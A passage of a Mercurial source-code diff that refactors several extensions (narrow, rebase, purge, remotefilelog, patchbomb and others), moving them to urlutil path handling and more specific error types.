repair.strip(ui, unfi, tostrip, topic=b'narrow') + repair.strip(ui, unfi, tostrip, topic=b'narrow', backup=backup) todelete = [] - for f, f2, size in repo.store.datafiles(): + for t, f, f2, size in repo.store.datafiles(): if f.startswith(b'data/'): file = f[5:-2] if not newmatch(file): @@ -442,6 +446,12 @@ ), ( b'', + b'backup', + True, + _(b'back up local changes when narrowing'), + ), + ( + b'', b'update-working-copy', False, _(b'update working copy when the store has changed'), @@ -583,81 +593,88 @@ # Find the revisions we have in common with the remote. These will # be used for finding local-only changes for narrowing. They will # also define the set of revisions to update for widening. - remotepath = ui.expandpath(remotepath or b'default') - url, branches = hg.parseurl(remotepath) - ui.status(_(b'comparing with %s\n') % util.hidepassword(url)) + r = urlutil.get_unique_pull_path(b'tracked', repo, ui, remotepath) + url, branches = r + ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(url)) remote = hg.peer(repo, opts, url) - # check narrow support before doing anything if widening needs to be - # performed. In future we should also abort if client is ellipses and - # server does not support ellipses - if widening and wireprototypes.NARROWCAP not in remote.capabilities(): - raise error.Abort(_(b"server does not support narrow clones")) + try: + # check narrow support before doing anything if widening needs to be + # performed. In future we should also abort if client is ellipses and + # server does not support ellipses + if ( + widening + and wireprototypes.NARROWCAP not in remote.capabilities() + ): + raise error.Abort(_(b"server does not support narrow clones")) - commoninc = discovery.findcommonincoming(repo, remote) + commoninc = discovery.findcommonincoming(repo, remote) - if autoremoveincludes: - outgoing = discovery.findcommonoutgoing( - repo, remote, commoninc=commoninc - ) - ui.status(_(b'looking for unused includes to remove\n')) - localfiles = set() - for n in itertools.chain(outgoing.missing, outgoing.excluded): - localfiles.update(repo[n].files()) - suggestedremovals = [] - for include in sorted(oldincludes): - match = narrowspec.match(repo.root, [include], oldexcludes) - if not any(match(f) for f in localfiles): - suggestedremovals.append(include) - if suggestedremovals: - for s in suggestedremovals: - ui.status(b'%s\n' % s) - if ( - ui.promptchoice( - _( - b'remove these unused includes (yn)?' - b'$$ &Yes $$ &No' + if autoremoveincludes: + outgoing = discovery.findcommonoutgoing( + repo, remote, commoninc=commoninc + ) + ui.status(_(b'looking for unused includes to remove\n')) + localfiles = set() + for n in itertools.chain(outgoing.missing, outgoing.excluded): + localfiles.update(repo[n].files()) + suggestedremovals = [] + for include in sorted(oldincludes): + match = narrowspec.match(repo.root, [include], oldexcludes) + if not any(match(f) for f in localfiles): + suggestedremovals.append(include) + if suggestedremovals: + for s in suggestedremovals: + ui.status(b'%s\n' % s) + if ( + ui.promptchoice( + _( + b'remove these unused includes (yn)?' + b'$$ &Yes $$ &No' + ) ) - ) - == 0 - ): - removedincludes.update(suggestedremovals) - narrowing = True - else: - ui.status(_(b'found no unused includes\n')) + == 0 + ): + removedincludes.update(suggestedremovals) + narrowing = True + else: + ui.status(_(b'found no unused includes\n')) - if narrowing: - newincludes = oldincludes - removedincludes - newexcludes = oldexcludes | addedexcludes - _narrow( - ui, - repo, - remote, - commoninc, - oldincludes, - oldexcludes, - newincludes, - newexcludes, - opts[b'force_delete_local_changes'], - ) - # _narrow() updated the narrowspec and _widen() below needs to - # use the updated values as its base (otherwise removed includes - # and addedexcludes will be lost in the resulting narrowspec) - oldincludes = newincludes - oldexcludes = newexcludes + if narrowing: + newincludes = oldincludes - removedincludes + newexcludes = oldexcludes | addedexcludes + _narrow( + ui, + repo, + remote, + commoninc, + oldincludes, + oldexcludes, + newincludes, + newexcludes, + opts[b'force_delete_local_changes'], + opts[b'backup'], + ) + # _narrow() updated the narrowspec and _widen() below needs to + # use the updated values as its base (otherwise removed includes + # and addedexcludes will be lost in the resulting narrowspec) + oldincludes = newincludes + oldexcludes = newexcludes - if widening: - newincludes = oldincludes | addedincludes - newexcludes = oldexcludes - removedexcludes - _widen( - ui, - repo, - remote, - commoninc, - oldincludes, - oldexcludes, - newincludes, - newexcludes, - ) + if widening: + newincludes = oldincludes | addedincludes + newexcludes = oldexcludes - removedexcludes + _widen( + ui, + repo, + remote, + commoninc, + oldincludes, + oldexcludes, + newincludes, + newexcludes, + ) + finally: + remote.close() return 0 diff -r bc268ea9f984 -r f67b8946bb1b hgext/patchbomb.py --- a/hgext/patchbomb.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/patchbomb.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # patchbomb.py - sending Mercurial changesets as patch emails # -# Copyright 2005-2009 Matt Mackall and others +# Copyright 2005-2009 Olivia Mackall and others # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -99,7 +99,10 @@ templater, util, ) -from mercurial.utils import dateutil +from mercurial.utils import ( + dateutil, + urlutil, +) stringio = util.stringio @@ -379,7 +382,10 @@ if btype: opts['type'] = btype try: - commands.bundle(ui, repo, tmpfn, dest, **opts) + dests = [] + if dest: + dests = [dest] + commands.bundle(ui, repo, tmpfn, *dests, **opts) return util.readfile(tmpfn) finally: try: @@ -527,9 +533,9 @@ def _getoutgoing(repo, dest, revs): '''Return the revisions present locally but not in dest''' ui = repo.ui - url = ui.expandpath(dest or b'default-push', dest or b'default') - url = hg.parseurl(url)[0] - ui.status(_(b'comparing with %s\n') % util.hidepassword(url)) + paths = urlutil.get_push_paths(repo, ui, [dest]) + safe_paths = [urlutil.hidepassword(p.rawloc) for p in paths] + ui.status(_(b'comparing with %s\n') % b','.join(safe_paths)) revs = [r for r in revs if r >= 0] if not revs: diff -r bc268ea9f984 -r f67b8946bb1b hgext/phabricator.py --- a/hgext/phabricator.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/phabricator.py Tue Apr 20 11:01:06 2021 -0400 @@ -103,6 +103,7 @@ from mercurial.utils import ( procutil, stringutil, + urlutil, ) from . import show @@ -366,7 +367,7 @@ process(k, v) process(b'', params) - return util.urlreq.urlencode(flatparams) + return urlutil.urlreq.urlencode(flatparams) def readurltoken(ui): @@ -381,7 +382,7 @@ _(b'config %s.%s is required') % (b'phabricator', b'url') ) - res = httpconnectionmod.readauthforuri(ui, url, util.url(url).user) + res = httpconnectionmod.readauthforuri(ui, url, urlutil.url(url).user) token = None if res: diff -r bc268ea9f984 -r f67b8946bb1b hgext/purge.py --- a/hgext/purge.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/purge.py Tue Apr 20 11:01:06 2021 -0400 @@ -22,115 +22,11 @@ # You should have received a copy of the GNU General Public License # along with this program; if not, see . -'''command to delete untracked files from the working directory''' -from __future__ import absolute_import - -from mercurial.i18n import _ -from mercurial import ( - cmdutil, - merge as mergemod, - pycompat, - registrar, - scmutil, -) - -cmdtable = {} -command = registrar.command(cmdtable) -# Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for -# extensions which SHIP WITH MERCURIAL. Non-mainline extensions should -# be specifying the version(s) of Mercurial they are tested with, or -# leave the attribute unspecified. -testedwith = b'ships-with-hg-core' - - -@command( - b'purge|clean', - [ - (b'a', b'abort-on-err', None, _(b'abort if an error occurs')), - (b'', b'all', None, _(b'purge ignored files too')), - (b'i', b'ignored', None, _(b'purge only ignored files')), - (b'', b'dirs', None, _(b'purge empty directories')), - (b'', b'files', None, _(b'purge files')), - (b'p', b'print', None, _(b'print filenames instead of deleting them')), - ( - b'0', - b'print0', - None, - _( - b'end filenames with NUL, for use with xargs' - b' (implies -p/--print)' - ), - ), - ] - + cmdutil.walkopts, - _(b'hg purge [OPTION]... [DIR]...'), - helpcategory=command.CATEGORY_WORKING_DIRECTORY, -) -def purge(ui, repo, *dirs, **opts): - """removes files not tracked by Mercurial - - Delete files not known to Mercurial. This is useful to test local - and uncommitted changes in an otherwise-clean source tree. - - This means that purge will delete the following by default: - - - Unknown files: files marked with "?" by :hg:`status` - - Empty directories: in fact Mercurial ignores directories unless - they contain files under source control management +'''command to delete untracked files from the working directory (DEPRECATED) - But it will leave untouched: - - - Modified and unmodified tracked files - - Ignored files (unless -i or --all is specified) - - New files added to the repository (with :hg:`add`) - - The --files and --dirs options can be used to direct purge to delete - only files, only directories, or both. If neither option is given, - both will be deleted. - - If directories are given on the command line, only files in these - directories are considered. - - Be careful with purge, as you could irreversibly delete some files - you forgot to add to the repository. If you only want to print the - list of files that this program would delete, use the --print - option. - """ - opts = pycompat.byteskwargs(opts) - cmdutil.check_at_most_one_arg(opts, b'all', b'ignored') +The functionality of this extension has been included in core Mercurial since +version 5.7. Please use :hg:`purge ...` instead. :hg:`purge --confirm` is now the default, unless the extension is enabled for backward compatibility. +''' - act = not opts.get(b'print') - eol = b'\n' - if opts.get(b'print0'): - eol = b'\0' - act = False # --print0 implies --print - if opts.get(b'all', False): - ignored = True - unknown = True - else: - ignored = opts.get(b'ignored', False) - unknown = not ignored - - removefiles = opts.get(b'files') - removedirs = opts.get(b'dirs') - - if not removefiles and not removedirs: - removefiles = True - removedirs = True - - match = scmutil.match(repo[None], dirs, opts) - - paths = mergemod.purge( - repo, - match, - unknown=unknown, - ignored=ignored, - removeemptydirs=removedirs, - removefiles=removefiles, - abortonerror=opts.get(b'abort_on_err'), - noop=not act, - ) - - for path in paths: - if not act: - ui.write(b'%s%s' % (path, eol)) +# This empty extension looks pointless, but core mercurial checks if it's loaded +# to implement the slightly different behavior documented above. diff -r bc268ea9f984 -r f67b8946bb1b hgext/rebase.py --- a/hgext/rebase.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/rebase.py Tue Apr 20 11:01:06 2021 -0400 @@ -67,6 +67,14 @@ cmdtable = {} command = registrar.command(cmdtable) + +configtable = {} +configitem = registrar.configitem(configtable) +configitem( + b'devel', + b'rebase.force-in-memory-merge', + default=False, +) # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should # be specifying the version(s) of Mercurial they are tested with, or @@ -136,7 +144,7 @@ return smartset.baseset() dests = destutil.orphanpossibledestination(repo, src) if len(dests) > 1: - raise error.Abort( + raise error.StateError( _(b"ambiguous automatic rebase: %r could end up on any of %r") % (src, dests) ) @@ -197,8 +205,8 @@ self.skipemptysuccessorf = rewriteutil.skip_empty_successor( repo.ui, b'rebase' ) - self.obsoletenotrebased = {} - self.obsoletewithoutsuccessorindestination = set() + self.obsolete_with_successor_in_destination = {} + self.obsolete_with_successor_in_rebase_set = set() self.inmemory = inmemory self.dryrun = dryrun self.stateobj = statemod.cmdstate(repo, b'rebasestate') @@ -340,25 +348,33 @@ return data - def _handleskippingobsolete(self, obsoleterevs, destmap): - """Compute structures necessary for skipping obsolete revisions - - obsoleterevs: iterable of all obsolete revisions in rebaseset - destmap: {srcrev: destrev} destination revisions - """ - self.obsoletenotrebased = {} + def _handleskippingobsolete(self): + """Compute structures necessary for skipping obsolete revisions""" + if self.keepf: + return if not self.ui.configbool(b'experimental', b'rebaseskipobsolete'): return - obsoleteset = set(obsoleterevs) + obsoleteset = {r for r in self.state if self.repo[r].obsolete()} ( - self.obsoletenotrebased, - self.obsoletewithoutsuccessorindestination, - obsoleteextinctsuccessors, - ) = _computeobsoletenotrebased(self.repo, obsoleteset, destmap) - skippedset = set(self.obsoletenotrebased) - skippedset.update(self.obsoletewithoutsuccessorindestination) - skippedset.update(obsoleteextinctsuccessors) + self.obsolete_with_successor_in_destination, + self.obsolete_with_successor_in_rebase_set, + ) = _compute_obsolete_sets(self.repo, obsoleteset, self.destmap) + skippedset = set(self.obsolete_with_successor_in_destination) + skippedset.update(self.obsolete_with_successor_in_rebase_set) _checkobsrebase(self.repo, self.ui, obsoleteset, skippedset) + allowdivergence = self.ui.configbool( + b'experimental', b'evolution.allowdivergence' + ) + if allowdivergence: + self.obsolete_with_successor_in_rebase_set = set() + else: + for rev in self.repo.revs( + b'descendants(%ld) and not %ld', + self.obsolete_with_successor_in_rebase_set, + self.obsolete_with_successor_in_rebase_set, + ): + self.state.pop(rev, None) + self.destmap.pop(rev, None) def _prepareabortorcontinue( self, isabort, backup=True, suppwarns=False, dryrun=False, confirm=False @@ -366,6 +382,8 @@ self.resume = True try: self.restorestatus() + # Calculate self.obsolete_* sets + self._handleskippingobsolete() self.collapsemsg = restorecollapsemsg(self.repo, isabort) except error.RepoLookupError: if isabort: @@ -396,15 +414,6 @@ if not destmap: return _nothingtorebase() - rebaseset = destmap.keys() - if not self.keepf: - try: - rewriteutil.precheck(self.repo, rebaseset, action=b'rebase') - except error.Abort as e: - if e.hint is None: - e.hint = _(b'use --keep to keep original changesets') - raise e - result = buildstate(self.repo, destmap, self.collapsef) if not result: @@ -416,7 +425,7 @@ if self.collapsef: dests = set(self.destmap.values()) if len(dests) != 1: - raise error.Abort( + raise error.InputError( _(b'--collapse does not work with multiple destinations') ) destrev = next(iter(dests)) @@ -430,6 +439,20 @@ if dest.closesbranch() and not self.keepbranchesf: self.ui.status(_(b'reopening closed branch head %s\n') % dest) + # Calculate self.obsolete_* sets + self._handleskippingobsolete() + + if not self.keepf: + rebaseset = set(destmap.keys()) + rebaseset -= set(self.obsolete_with_successor_in_destination) + rebaseset -= self.obsolete_with_successor_in_rebase_set + try: + rewriteutil.precheck(self.repo, rebaseset, action=b'rebase') + except error.Abort as e: + if e.hint is None: + e.hint = _(b'use --keep to keep original changesets') + raise e + self.prepared = True def _assignworkingcopy(self): @@ -461,14 +484,10 @@ for rev in self.state: branches.add(repo[rev].branch()) if len(branches) > 1: - raise error.Abort( + raise error.InputError( _(b'cannot collapse multiple named branches') ) - # Calculate self.obsoletenotrebased - obsrevs = _filterobsoleterevs(self.repo, self.state) - self._handleskippingobsolete(obsrevs, self.destmap) - # Keep track of the active bookmarks in order to reset them later self.activebookmark = self.activebookmark or repo._activebookmark if self.activebookmark: @@ -490,19 +509,10 @@ def progress(ctx): p.increment(item=(b"%d:%s" % (ctx.rev(), ctx))) - allowdivergence = self.ui.configbool( - b'experimental', b'evolution.allowdivergence' - ) for subset in sortsource(self.destmap): sortedrevs = self.repo.revs(b'sort(%ld, -topo)', subset) - if not allowdivergence: - sortedrevs -= self.repo.revs( - b'descendants(%ld) and not %ld', - self.obsoletewithoutsuccessorindestination, - self.obsoletewithoutsuccessorindestination, - ) for rev in sortedrevs: - self._rebasenode(tr, rev, allowdivergence, progress) + self._rebasenode(tr, rev, progress) p.complete() ui.note(_(b'rebase merging completed\n')) @@ -564,16 +574,13 @@ return newnode - def _rebasenode(self, tr, rev, allowdivergence, progressfn): + def _rebasenode(self, tr, rev, progressfn): repo, ui, opts = self.repo, self.ui, self.opts ctx = repo[rev] desc = _ctxdesc(ctx) if self.state[rev] == rev: ui.status(_(b'already rebased %s\n') % desc) - elif ( - not allowdivergence - and rev in self.obsoletewithoutsuccessorindestination - ): + elif rev in self.obsolete_with_successor_in_rebase_set: msg = ( _( b'note: not rebasing %s and its descendants as ' @@ -583,8 +590,8 @@ ) repo.ui.status(msg) self.skipped.add(rev) - elif rev in self.obsoletenotrebased: - succ = self.obsoletenotrebased[rev] + elif rev in self.obsolete_with_successor_in_destination: + succ = self.obsolete_with_successor_in_destination[rev] if succ is None: msg = _(b'note: not rebasing %s, it has no successor\n') % desc else: @@ -610,7 +617,7 @@ self.destmap, self.state, self.skipped, - self.obsoletenotrebased, + self.obsolete_with_successor_in_destination, ) if self.resume and self.wctx.p1().rev() == p1: repo.ui.debug(b'resuming interrupted rebase\n') @@ -722,7 +729,7 @@ self.destmap, self.state, self.skipped, - self.obsoletenotrebased, + self.obsolete_with_successor_in_destination, ) editopt = opts.get(b'edit') editform = b'rebase.collapse' @@ -1085,10 +1092,10 @@ with repo.wlock(), repo.lock(): rbsrt.restorestatus() if rbsrt.collapsef: - raise error.Abort(_(b"cannot stop in --collapse session")) + raise error.StateError(_(b"cannot stop in --collapse session")) allowunstable = obsolete.isenabled(repo, obsolete.allowunstableopt) if not (rbsrt.keepf or allowunstable): - raise error.Abort( + raise error.StateError( _( b"cannot remove original changesets with" b" unrebased descendants" @@ -1112,6 +1119,8 @@ with ui.configoverride(overrides, b'rebase'): return _dorebase(ui, repo, action, opts, inmemory=inmemory) except error.InMemoryMergeConflictsError: + if ui.configbool(b'devel', b'rebase.force-in-memory-merge'): + raise ui.warn( _( b'hit merge conflicts; re-running rebase without in-memory' @@ -1210,14 +1219,16 @@ ) % help ) - raise error.Abort(msg) + raise error.InputError(msg) if rbsrt.collapsemsg and not rbsrt.collapsef: - raise error.Abort(_(b'message can only be specified with collapse')) + raise error.InputError( + _(b'message can only be specified with collapse') + ) if action: if rbsrt.collapsef: - raise error.Abort( + raise error.InputError( _(b'cannot use collapse with continue or abort') ) if action == b'abort' and opts.get(b'tool', False): @@ -1284,7 +1295,7 @@ cmdutil.bailifchanged(repo) if ui.configbool(b'commands', b'rebase.requiredest') and not destf: - raise error.Abort( + raise error.InputError( _(b'you must specify a destination'), hint=_(b'use: hg rebase -d REV'), ) @@ -1378,7 +1389,7 @@ return None if wdirrev in rebaseset: - raise error.Abort(_(b'cannot rebase the working copy')) + raise error.InputError(_(b'cannot rebase the working copy')) rebasingwcp = repo[b'.'].rev() in rebaseset ui.log( b"rebase", @@ -1416,7 +1427,7 @@ elif size == 0: ui.note(_(b'skipping %s - empty destination\n') % repo[r]) else: - raise error.Abort( + raise error.InputError( _(b'rebase destination for %s is not unique') % repo[r] ) @@ -1449,7 +1460,7 @@ return nullrev if len(parents) == 1: return parents.pop() - raise error.Abort( + raise error.StateError( _( b'unable to collapse on top of %d, there is more ' b'than one external parent: %s' @@ -1649,7 +1660,7 @@ b"to force the rebase please set " b"experimental.evolution.allowdivergence=True" ) - raise error.Abort(msg % (b",".join(divhashes),), hint=h) + raise error.StateError(msg % (b",".join(divhashes),), hint=h) def successorrevs(unfi, rev): @@ -1752,7 +1763,7 @@ # /| # None of A and B will be changed to D and rebase fails. # A B D if set(newps) == set(oldps) and dest not in newps: - raise error.Abort( + raise error.InputError( _( b'cannot rebase %d:%s without ' b'moving at least one of its parents' @@ -1764,7 +1775,7 @@ # impossible. With multi-dest, the initial check does not cover complex # cases since we don't have abstractions to dry-run rebase cheaply. if any(p != nullrev and isancestor(rev, p) for p in newps): - raise error.Abort(_(b'source is ancestor of destination')) + raise error.InputError(_(b'source is ancestor of destination')) # Check if the merge will contain unwanted changes. That may happen if # there are multiple special (non-changelog ancestor) merge bases, which @@ -1826,7 +1837,7 @@ if revs is not None ) ) - raise error.Abort( + raise error.InputError( _(b'rebasing %d:%s will include unwanted changes from %s') % (rev, repo[rev], unwanteddesc) ) @@ -1971,7 +1982,7 @@ if destmap[r] not in srcset: result.append(r) if not result: - raise error.Abort(_(b'source and destination form a cycle')) + raise error.InputError(_(b'source and destination form a cycle')) srcset -= set(result) yield result @@ -1991,12 +2002,12 @@ if b'qtip' in repo.tags(): mqapplied = {repo[s.node].rev() for s in repo.mq.applied} if set(destmap.values()) & mqapplied: - raise error.Abort(_(b'cannot rebase onto an applied mq patch')) + raise error.StateError(_(b'cannot rebase onto an applied mq patch')) # Get "cycle" error early by exhausting the generator. sortedsrc = list(sortsource(destmap)) # a list of sorted revs if not sortedsrc: - raise error.Abort(_(b'no matching revisions')) + raise error.InputError(_(b'no matching revisions')) # Only check the first batch of revisions to rebase not depending on other # rebaseset. This means "source is ancestor of destination" for the second @@ -2004,7 +2015,7 @@ # "defineparents" to do that check. roots = list(repo.set(b'roots(%ld)', sortedsrc[0])) if not roots: - raise error.Abort(_(b'no matching revisions')) + raise error.InputError(_(b'no matching revisions')) def revof(r): return r.rev() @@ -2016,7 +2027,7 @@ dest = repo[destmap[root.rev()]] commonbase = root.ancestor(dest) if commonbase == root: - raise error.Abort(_(b'source is ancestor of destination')) + raise error.InputError(_(b'source is ancestor of destination')) if commonbase == dest: wctx = repo[None] if dest == wctx.p1(): @@ -2109,7 +2120,7 @@ if ui.configbool(b'commands', b'rebase.requiredest'): msg = _(b'rebase destination required by configuration') hint = _(b'use hg pull followed by hg rebase -d DEST') - raise error.Abort(msg, hint=hint) + raise error.InputError(msg, hint=hint) with repo.wlock(), repo.lock(): if opts.get('update'): @@ -2166,34 +2177,24 @@ commands.update(ui, repo) else: if opts.get('tool'): - raise error.Abort(_(b'--tool can only be used with --rebase')) + raise error.InputError(_(b'--tool can only be used with --rebase')) ret = orig(ui, repo, *args, **opts) return ret -def _filterobsoleterevs(repo, revs): - """returns a set of the obsolete revisions in revs""" - return {r for r in revs if repo[r].obsolete()} - +def _compute_obsolete_sets(repo, rebaseobsrevs, destmap): + """Figure out what to do about about obsolete revisions -def _computeobsoletenotrebased(repo, rebaseobsrevs, destmap): - """Return (obsoletenotrebased, obsoletewithoutsuccessorindestination). - - `obsoletenotrebased` is a mapping mapping obsolete => successor for all + `obsolete_with_successor_in_destination` is a mapping mapping obsolete => successor for all obsolete nodes to be rebased given in `rebaseobsrevs`. - `obsoletewithoutsuccessorindestination` is a set with obsolete revisions - without a successor in destination. - - `obsoleteextinctsuccessors` is a set of obsolete revisions with only - obsolete successors. + `obsolete_with_successor_in_rebase_set` is a set with obsolete revisions, + without a successor in destination, that would cause divergence. """ - obsoletenotrebased = {} - obsoletewithoutsuccessorindestination = set() - obsoleteextinctsuccessors = set() + obsolete_with_successor_in_destination = {} + obsolete_with_successor_in_rebase_set = set() - assert repo.filtername is None cl = repo.changelog get_rev = cl.index.get_rev extinctrevs = set(repo.revs(b'extinct()')) @@ -2205,29 +2206,25 @@ successors.remove(srcnode) succrevs = {get_rev(s) for s in successors} succrevs.discard(None) - if succrevs.issubset(extinctrevs): - # all successors are extinct - obsoleteextinctsuccessors.add(srcrev) - if not successors: - # no successor - obsoletenotrebased[srcrev] = None + if not successors or succrevs.issubset(extinctrevs): + # no successor, or all successors are extinct + obsolete_with_successor_in_destination[srcrev] = None else: dstrev = destmap[srcrev] for succrev in succrevs: if cl.isancestorrev(succrev, dstrev): - obsoletenotrebased[srcrev] = succrev + obsolete_with_successor_in_destination[srcrev] = succrev break else: # If 'srcrev' has a successor in rebase set but none in # destination (which would be catched above), we shall skip it # and its descendants to avoid divergence. if srcrev in extinctrevs or any(s in destmap for s in succrevs): - obsoletewithoutsuccessorindestination.add(srcrev) + obsolete_with_successor_in_rebase_set.add(srcrev) return ( - obsoletenotrebased, - obsoletewithoutsuccessorindestination, - obsoleteextinctsuccessors, + obsolete_with_successor_in_destination, + obsolete_with_successor_in_rebase_set, ) diff -r bc268ea9f984 -r f67b8946bb1b hgext/releasenotes.py --- a/hgext/releasenotes.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/releasenotes.py Tue Apr 20 11:01:06 2021 -0400 @@ -280,7 +280,7 @@ if b'.hgreleasenotes' in ctx: read(b'.hgreleasenotes') - return p[b'sections'] + return p.items(b'sections') def checkadmonitions(ui, repo, directives, revs): diff -r bc268ea9f984 -r f67b8946bb1b hgext/relink.py --- a/hgext/relink.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/relink.py Tue Apr 20 11:01:06 2021 -0400 @@ -19,7 +19,10 @@ registrar, util, ) -from mercurial.utils import stringutil +from mercurial.utils import ( + stringutil, + urlutil, +) cmdtable = {} command = registrar.command(cmdtable) @@ -62,10 +65,11 @@ util, b'samedevice' ): raise error.Abort(_(b'hardlinks are not supported on this system')) - src = hg.repository( - repo.baseui, - ui.expandpath(origin or b'default-relink', origin or b'default'), - ) + + if origin is None and b'default-relink' in ui.paths: + origin = b'default-relink' + path, __ = urlutil.get_unique_pull_path(b'relink', repo, ui, origin) + src = hg.repository(repo.baseui, path) ui.status(_(b'relinking %s to %s\n') % (src.store.path, repo.store.path)) if repo.root == src.root: ui.status(_(b'there is nothing to relink\n')) diff -r bc268ea9f984 -r f67b8946bb1b hgext/remotefilelog/__init__.py --- a/hgext/remotefilelog/__init__.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/remotefilelog/__init__.py Tue Apr 20 11:01:06 2021 -0400 @@ -215,6 +215,8 @@ configitem(b'remotefilelog', b'backgroundprefetch', default=False) configitem(b'remotefilelog', b'prefetchdelay', default=120) configitem(b'remotefilelog', b'prefetchdays', default=14) +# Other values include 'local' or 'none'. Any unrecognized value is 'all'. +configitem(b'remotefilelog', b'strip.includefiles', default='all') configitem(b'remotefilelog', b'getfilesstep', default=10000) configitem(b'remotefilelog', b'getfilestype', default=b'optimistic') @@ -886,7 +888,7 @@ progress.update(count) count += 1 try: - path = ui.expandpath(os.path.normpath(path)) + path = util.expandpath(os.path.normpath(path)) except TypeError as e: ui.warn(_(b"warning: malformed path: %r:%s\n") % (path, e)) traceback.print_exc() diff -r bc268ea9f984 -r f67b8946bb1b hgext/remotefilelog/connectionpool.py --- a/hgext/remotefilelog/connectionpool.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/remotefilelog/connectionpool.py Tue Apr 20 11:01:06 2021 -0400 @@ -8,7 +8,6 @@ from __future__ import absolute_import from mercurial import ( - extensions, hg, pycompat, sshpeer, @@ -43,17 +42,19 @@ if conn is None: - def _cleanup(orig): - # close pipee first so peer.cleanup reading it won't deadlock, - # if there are other processes with pipeo open (i.e. us). - peer = orig.im_self - if util.safehasattr(peer, 'pipee'): - peer.pipee.close() - return orig() + peer = hg.peer(self._repo.ui, {}, path) + if util.safehasattr(peer, '_cleanup'): - peer = hg.peer(self._repo.ui, {}, path) - if util.safehasattr(peer, 'cleanup'): - extensions.wrapfunction(peer, b'cleanup', _cleanup) + class mypeer(peer.__class__): + def _cleanup(self, warn=None): + # close pipee first so peer.cleanup reading it won't + # deadlock, if there are other processes with pipeo + # open (i.e. us). + if util.safehasattr(self, 'pipee'): + self.pipee.close() + return super(mypeer, self)._cleanup() + + peer.__class__ = mypeer conn = connection(pathpool, peer) diff -r bc268ea9f984 -r f67b8946bb1b hgext/remotefilelog/contentstore.py --- a/hgext/remotefilelog/contentstore.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/remotefilelog/contentstore.py Tue Apr 20 11:01:06 2021 -0400 @@ -365,7 +365,7 @@ ledger.markdataentry(self, treename, node) ledger.markhistoryentry(self, treename, node) - for path, encoded, size in self._store.datafiles(): + for t, path, encoded, size in self._store.datafiles(): if path[:5] != b'meta/' or path[-2:] != b'.i': continue diff -r bc268ea9f984 -r f67b8946bb1b hgext/remotefilelog/remotefilelog.py --- a/hgext/remotefilelog/remotefilelog.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/remotefilelog/remotefilelog.py Tue Apr 20 11:01:06 2021 -0400 @@ -155,12 +155,12 @@ # text passed to "addrevision" includes hg filelog metadata header if node is None: node = storageutil.hashrevisionsha1(text, p1, p2) - if sidedata is None: - sidedata = {} meta, metaoffset = storageutil.parsemeta(text) rawtext, validatehash = flagutil.processflagswrite( - self, text, flags, sidedata=sidedata + self, + text, + flags, ) return self.addrawrevision( rawtext, @@ -306,6 +306,7 @@ assumehaveparentrevisions=False, deltaprevious=False, deltamode=None, + sidedata_helpers=None, ): # we don't use any of these parameters here del nodesorder, revisiondata, assumehaveparentrevisions, deltaprevious @@ -333,6 +334,8 @@ baserevisionsize=None, revision=revision, delta=delta, + # Sidedata is not supported yet + sidedata=None, ) def revdiff(self, node1, node2): diff -r bc268ea9f984 -r f67b8946bb1b hgext/remotefilelog/remotefilelogserver.py --- a/hgext/remotefilelog/remotefilelogserver.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/remotefilelog/remotefilelogserver.py Tue Apr 20 11:01:06 2021 -0400 @@ -164,24 +164,26 @@ b'.d' ): n = util.pconvert(fp[striplen:]) - yield (store.decodedir(n), n, st.st_size) + d = store.decodedir(n) + t = store.FILETYPE_OTHER + yield (t, d, n, st.st_size) if kind == stat.S_IFDIR: visit.append(fp) if scmutil.istreemanifest(repo): - for (u, e, s) in repo.store.datafiles(): + for (t, u, e, s) in repo.store.datafiles(): if u.startswith(b'meta/') and ( u.endswith(b'.i') or u.endswith(b'.d') ): - yield (u, e, s) + yield (t, u, e, s) # Return .d and .i files that do not match the shallow pattern match = state.match if match and not match.always(): - for (u, e, s) in repo.store.datafiles(): + for (t, u, e, s) in repo.store.datafiles(): f = u[5:-2] # trim data/... and .i/.d if not state.match(f): - yield (u, e, s) + yield (t, u, e, s) for x in repo.store.topfiles(): if state.noflatmf and x[0][:11] == b'00manifest.': diff -r bc268ea9f984 -r f67b8946bb1b hgext/remotefilelog/shallowbundle.py --- a/hgext/remotefilelog/shallowbundle.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/remotefilelog/shallowbundle.py Tue Apr 20 11:01:06 2021 -0400 @@ -67,7 +67,7 @@ shallowcg1packer, self, nodelist, rlog, lookup, units=units ) - def generatefiles(self, changedfiles, *args): + def generatefiles(self, changedfiles, *args, **kwargs): try: linknodes, commonrevs, source = args except ValueError: @@ -92,7 +92,9 @@ [f for f in changedfiles if not repo.shallowmatch(f)] ) - return super(shallowcg1packer, self).generatefiles(changedfiles, *args) + return super(shallowcg1packer, self).generatefiles( + changedfiles, *args, **kwargs + ) def shouldaddfilegroups(self, source): repo = self._repo @@ -102,6 +104,18 @@ if source == b"push" or source == b"bundle": return AllFiles + # We won't actually strip the files, but we should put them in any + # backup bundle generated by strip (especially for cases like narrow's + # `hg tracked --removeinclude`, as failing to do so means that the + # "saved" changesets during a strip won't have their files reapplied and + # thus their linknode adjusted, if necessary). + if source == b"strip": + cfg = repo.ui.config(b'remotefilelog', b'strip.includefiles') + if cfg == b'local': + return LocalFiles + elif cfg != b'none': + return AllFiles + caps = self._bundlecaps or [] if source == b"serve" or source == b"pull": if constants.BUNDLE2_CAPABLITY in caps: @@ -176,9 +190,11 @@ repo.shallowmatch = original -def addchangegroupfiles(orig, repo, source, revmap, trp, expectedfiles, *args): +def addchangegroupfiles( + orig, repo, source, revmap, trp, expectedfiles, *args, **kwargs +): if not shallowutil.isenabled(repo): - return orig(repo, source, revmap, trp, expectedfiles, *args) + return 